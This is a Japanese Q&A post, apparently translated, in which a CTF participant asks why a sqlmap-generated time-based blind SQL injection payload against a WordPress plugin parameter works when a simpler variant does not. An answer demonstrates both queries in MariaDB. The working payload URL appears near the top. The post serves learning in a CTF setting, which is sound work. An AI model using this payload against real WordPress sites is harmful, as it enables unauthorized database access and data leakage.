私はCTFに参加していて、SQLインジェクションの課題がありました。脆弱なプラグインパラメータを含むWordpressページがあります(ウェブサイトを呼び出しましょうhttps://vulnerable.com/
)、そしてソリューションはデータベースから値をリークすることから来ています。 SQLMAPを使用して、ペイロードをすばやく見つけました。
ページにアクセスすると、「N」秒の遅延があります。
http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)
SQLMAPは問題を簡単に解決し続けました。ただし、ペイロードを実際に理解していないため、少し罪悪感を感じました。次のように変更してみましたが、遅延は発生しません。
遅延は発生しませんでした。
http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND SELECT(SLEEP(N))
ネストされたSELECT
ステートメント、数値1749
と一見ランダムな文字列nQtm
?はランダムですか?ネストされたSELECT
ステートメントがないとペイロードが失敗するのはなぜですか?
一般に、SQLインジェクションは使用するデータベースエンジンに依存します。例では、MariaDB/MySQLデータベースのSQLを提供すると思います。 PostgreSQLの関数sleepはpg_sleepであるため、注入はPostgreSQLでは機能しません。
MariaDB [CODINGGROUND]> (SELECT 1749 FROM (SELECT(SLEEP(1)))nQtm)
-> ;
+------+
| 1749 |
+------+
| 1749 |
+------+
そして他のクエリ
MariaDB [CODINGGROUND]> select (sleep(1));
+------------+
| (sleep(1)) |
+------------+
| 0 |
+------------+
1 row in set (1.00 sec)
したがって、基本的には、一方が機能し、もう一方が機能しない理由を理解できます。ただし、一般にSQLインジェクションは、使用しているデータベースバックエンドに依存することに注意してください。 SQLは標準言語ですが、すべてのエンジンが同じ方法で実装するわけではなく、それらには違いがあります。